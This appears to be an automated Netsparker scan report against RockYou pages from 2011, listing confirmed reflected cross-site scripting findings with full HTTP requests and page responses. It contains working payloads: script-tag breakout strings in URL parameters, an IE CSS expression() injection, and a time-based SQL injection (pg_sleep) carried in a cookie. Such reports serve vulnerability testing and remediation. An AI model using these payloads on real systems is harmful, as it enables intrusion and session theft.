<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "'"--></style></script><script>netsparker(0x001081)</script>";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSectionsNew();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = []; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } setDefaultPublishSize(3); if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x001081)%3C/script%3E&refid=117242930&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); mem..
- /setinappropriate.php

/setinappropriate.php CONFIRMED

http://www.rockyou.com/setinappropriate.php?instanceid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3..

Parameters

Parameter Type Value
instanceid GET '"--></style></script><script>alert(0x0016AC)</script>

Request

GET /setinappropriate.php?instanceid='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0016AC)%3C/script%3E HTTP/1.1
Referer: http://www.rockyou.com/show_my_gallery.php?instanceid=13193054
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303165100; ctid=1; sns_type=rockyou.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=%2F%2Fnetsparker.com%2Fn%2Fn.css%3F0x0016A4
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:18:21 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:18:20 GMT; path=/; domain=.rockyou.com,lastlogin=1303165101; expires=Wed, 27-Jul-2011 22:18:21 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:18:21 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=10014 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 4192
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">

</HEAD>




<BODY class=""
style="background-image: url(/images/menu-bg.gif); background-repeat: repeat-x;"

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload=""
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="display:block;width:840px;height:68px;border:0px;position:relative;">

<a href="/index.php"><img src="/images/logo-menutop-rockyou.gif" alt=""></a>
<table cellpadding="1" cellspacing="0" style="position:absolute;top:0px;left:107px;"><tr>


<td style="font-size:15px"><a class="mainmenu" href="/choose_widget.php">Create</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/featuredartists.php">Browse</a></td>

</tr></table>

<img src="/images/index_tab.gif" style="position:absolute;top:0px;left:620px">
<div style="position:absolute;top:5px;left:630px;font-size:11px;font-family:arial;width:200px;text-align:center;">
<a href="http://www.rockyou.com/login/" style="color: white;">login / register</a> </div>
</div>

<div style="position:absolute;top:24;left:628;">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #6388c2"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</div>

<!-- TF 728x90 JScript NoAD code -->
<div style="width:850px;margin-bottom:10px;">
<div style='padding-left:60px;'>

<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div>
</div>

<br><div style="font-size:18px; font-weight:bold; color: #ff6c00;">Flag Show for Inappropriate Content</div>Invalid Instance ID. =(<SCRIPT LANGUAGE="JavaScript">function redirect(){ window.location = "show_my_gallery.php?instanceid='"--></style></script><script>netsparker(0x0016AC)</script>";}</SCRIPT>

<div style='position: absolute; left: 850px; top: 0px; width: 160px;'>


<div style="border:1px solid #ccc;margin-top:70px;width:176px;height:236px;margin-bottom:10px;">
<div style="padding:8px;">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/AGE=/GENDER=/ -->

<script language="javascript">

if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/" ' +
'width="160" height="220" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');

</script>

<noscript>
<a href="http://rocku.adbureau.net/adclick/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=SHOWMYGALLLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div>
</div>
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/aamsz=PM3/AGE=/GENDER=/-->
<script language="javascript">

if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/aamsz=PM3/AGE=/GENDER=/" ' +
'width="180" height="288" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');

</script>

<noscript>
<a href="http://rocku.adbureau.net/adclick/aamsz=PM3/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/aamsz=PM3/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
<br />

<div style="width:120px;">



<div style="border:1px solid white;margin-top:5px;width:176px;height:616px;margin-bottom:5px;">
<div style="padding:8px;">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=SKYS/ -->
<script language="javascript">

if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=CWIDGET/aamsz=SKYS/AGE=/GENDER=/" ' +
'width="160" height="600" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');

</script>

<noscript>
<a href="http://rocku.adbureau.net/adclick/area=CWIDGET/aamsz=SKYS/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=CWIDGET/aamsz=SKYS/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div>
</div>

</div>
<div style="margin-top:10px;width:160px;overflow:hidden;padding:0px;text-align:center;">
<!-- YB: right_bottom (160x600) -->
<script type="text/javascript"><!--
yieldbuild_client = 4;
yieldbuild_loc = "right_bottom";
yieldbuild_options = {};
//--></script>
<script type="text/javascript" src="http://yieldbuild.com/javascripts/s_ad.js"></script>
</div>
</div>

<br><br>

<div class="tp" style="text-align:center">
Copyright &copy; 2008 RockYou | Member of the Alloy Online Advertising Network<br><a target="_BLANK" href="/help">FAQ / Help</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-helpspace&url=http%3A%2F%2Fwww.rockyou.com%2Fhelpspace">MySpace Profile Tips</a> | <a target="_BLANK" href="/privacypolicy.php">Privacy</a> | <a href="/tos.php" target=_blank>Terms of Use</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-dev-pub&url=http%3A%2F%2Fwww.rockyouads.com%2F" target="_blank">Facebook Advertisers</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-dev-pub&url=http%3A%2F%2Fwww.rockyouads.com%2F" target="_blank">Facebook Developers</a> | <a href="/corp/about.php" target=_blank>About Us</a></div>

<div class="tp" style="text-align:center">
<a href="?lang=en&instanceid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x0016AC)&lt;/script&gt;">English</a> | <a href="?lang=zh&instanceid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x0016AC)&lt;/script&gt;">中文</a> | <a href="?lang=es&instanceid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x0016AC)&lt;/script&gt;">Español | <a href="?lang=pt&instanceid=&#039;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x0016AC)&lt;/script&gt;">Português</a></a>
</div>
<br>
<br>


<script language="javascript">

if (navigator.cookieEnabled && document.cookie.indexOf('AAMBLFLAG=') == -1) {

var blTomorrow = new Date();
blTomorrow.setTime(blTomorrow.getTime() + 86400000);

document.cookie = 'AAMBLFLAG=SET; expires=' + blTomorrow.toGMTString();

if (document.cookie.indexOf('AAMBLFLAG=') > -1)
document.wr..
- /partner/funmobility-entry.php

/partner/funmobility-entry.php CONFIRMED

http://www.rockyou.com/partner/funmobility-entry.php?img=%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter Type Value
img GET " stYle="x:expre/**/ssion(alert(9))

Request

GET /partner/funmobility-entry.php?img=%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
Referer: http://www.rockyou.com/show_my_gallery.php?instanceid=13193054
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303165190; ctid=2; sns_type=facebook.com; istack=158777336%7Cwww202.rockyou.com%7C%7C158777337%7Cwww202.rockyou.com%7C%7C158777339%7Cwww202.rockyou.com%7C%7C158777341%7Cwww202.rockyou.com%7C%7C158777342%7Cwww202.rockyou.com%7C%7C158777345%7Cwww202.rockyou.com%7C%7C158777346%7Cwww202.rockyou.com%7C%7C158777348%7Cwww202.rockyou.com%7C%7C158777349%7Cwww202.rockyou.com%7C%7C158777351%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:19:50 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=7323 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 3107
Connection: close
Content-Type: text/html; charset=UTF-8


<html>
<head>
<title>Mobile Wallpapers from FunMobility</title>
<script type="text/javascript" src="javascripts/prototype.js"></script>
<script>
function clearChild(parentNode)
{
while (parentNode.hasChildNodes())
{
parentNode.removeChild(parentNode.firstChild);
}
}

function getCarrier()
{
xmlhttpPostURL("mode=carrier","/partner/funmobility-ajax.php");
}

function getManufacturer()
{
carrierVal = document.getElementById('carrierselect').value;
if (carrierVal != "")
xmlhttpPostURL("mode=manufacturer&car="+carrierVal,"/partner/funmobility-ajax.php");
}

function getDevice()
{
manVal = document.getElementById('manufacturerselect').value;
carrierVal = document.getElementById('carrierselect').value;
if (manVal != "" && carrierVal != "")
xmlhttpPostURL("mode=device&car="+carrierVal+"&man="+manVal,"/partner/funmobility-ajax.php");
}

function finishForm()
{
if (validatePhone()==true)
{
manVal = document.getElementById('manufacturerselect').value;
carrierVal = document.getElementById('carrierselect').value;
deviceVal = document.getElementById('deviceselect').value;
phoneVal = document.getElementById('phoneinput').value;
imageVal = document.getElementById('imagehidden').value;
emailVal = document.getElementById('emailinput').value;
if (manVal != "" && carrierVal != "" && deviceVal != "") {
xmlhttpPostURL("mode=finish&car="+carrierVal+"&man="+manVal+"&device="+deviceVal+"&phone="+phoneVal.replace('-','').replace('-','')+"&email="+emailVal+"&image="+imageVal,"/partner/funmobility-ajax.php");
}
}
return false;
}

function initCarrier(indata)
{

selectNode = document.getElementById('carrierselect');
clearChild(selectNode);

newOption = document.createElement('option');
newOption.appendChild(document.createTextNode("--- Choose a Carrier ---"));
selectNode.appendChild(newOption);

for (i = 0; i < indata.length; i++)
{
newOption = document.createElement('option');
newOption.setAttribute('value', indata[i]['id']);
newOption.appendChild(document.createTextNode(indata[i]['name']));
selectNode.appendChild(newOption);
}
}

function initManufacturer(indata)
{
selectNode = document.getElementById('manufacturerselect');
clearChild(selectNode);

newOption = document.createElement('option');
newOption.appendChild(document.createTextNode("--- Choose a Make ---"));
selectNode.appendChild(newOption);

for (i = 0; i < indata.length; i++)
{
newOption = document.createElement('option');
newOption.setAttribute('value', indata[i]['id']);
newOption.appendChild(document.createTextNode(indata[i]['name']));
selectNode.appendChild(newOption);
}
}

function initDevice(indata)
{
selectNode = document.getElementById('deviceselect');
clearChild(selectNode);

newOption = document.createElement('option');
newOption.appendChild(document.createTextNode("--- Choose a Model---"));
selectNode.appendChild(newOption);

for (i = 0; i < indata.length; i++)
{
newOption = document.createElement('option');
newOption.setAttribute('value', indata[i]['id']);
newOption.appendChild(document.createTextNode(indata[i]['name']));
selectNode.appendChild(newOption);
}
}
function showInstructions(indata)
{
selectNode = document.getElementById('instructions');
var instructionString = indata.unescapeHTML();
var line_array=instructionString.split("<br>");
if (line_array.length > 12)
{
selectNode.innerHTML = '<a style="font-family: Verdana, Arial, sans-serif; font-size: 10px">' + instructionString + '</a>';
} else
{
selectNode.innerHTML = '<a style="font-family: Verdana, Arial, sans-serif; font-size: 12px">' + instructionString + '</a>';
}
}
function showDownloadCode(indata)
{
if (indata != null && indata.length > 0)
{
selectNode = document.getElementById('code');
selectNode.innerHTML = '<a>Download Code: ' + indata +'</a>';
}
}
function showPricing(indata)
{
if (indata != null && indata.length > 0)
{
selectNode = document.getElementById('pricing');
selectNode.innerHTML = '<a>' + indata +'</a>';
}
}
function xmlhttpPostURL(data,url) {
var xmlHttpReq = false;
var self = this;
// Mozilla/Safari
if (window.XMLHttpRequest) {
self.xmlHttpReq = new XMLHttpRequest();
}
// IE
else if (window.ActiveXObject) {
self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
}
self.xmlHttpReq.open('POST', url, true);
self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8");
self.xmlHttpReq.onreadystatechange = function() {
if (self.xmlHttpReq.readyState == 4) {
eval ("var resp = " + self.xmlHttpReq.responseText);
if (resp['mode']=='carrier')
{
initCarrier(resp['data']);
}
if (resp['mode']=='manufacturer')
{
initManufacturer(resp['data']);
}
if (resp['mode']=='device')
{
initDevice(resp['data']);
}
if (resp['mode']=='finish')
{
showPricing(resp['pricing']);
showInstructions(resp['instructions']);
showDownloadCode(resp['downloadcode']);
}
}
}
self.xmlHttpReq.send(data);
}

function validatePhone(){

mobiletypeform.phoneinput.value = mobiletypeform.phonenumber1.value + mobiletypeform.phonenumber2.value + mobiletypeform.phonenumber3.value;
var Phone=document.mobiletypeform.phoneinput.value

if (checkPhone(Phone)==false){
document.mobiletypeform.phonenumber1.focus();
return false;
}
return true;
}
function checkPhone(strPhone)
{
var phoneNumberDelimiters = "()- ";
var digitsInPhoneNumber = 10;
s=stripCharsInBag(strPhone,phoneNumberDelimiters);

if (s==null || s=="" || !isInteger(s) || s.length != digitsInPhoneNumber){
alert("Please enter a valid 10 digit number in the form '415 111 2222'");
return false;
}
if ((s.substring(0,3)=="555")){
alert("Please enter a valid area code");
return false;
}
return true;
}
function stripCharsInBag(s, bag)
{ var i;
var returnString = "";
// Search through string's characters one by one.
// If character is not in bag, append to returnString.
for (i = 0; i < s.length; i++)
{
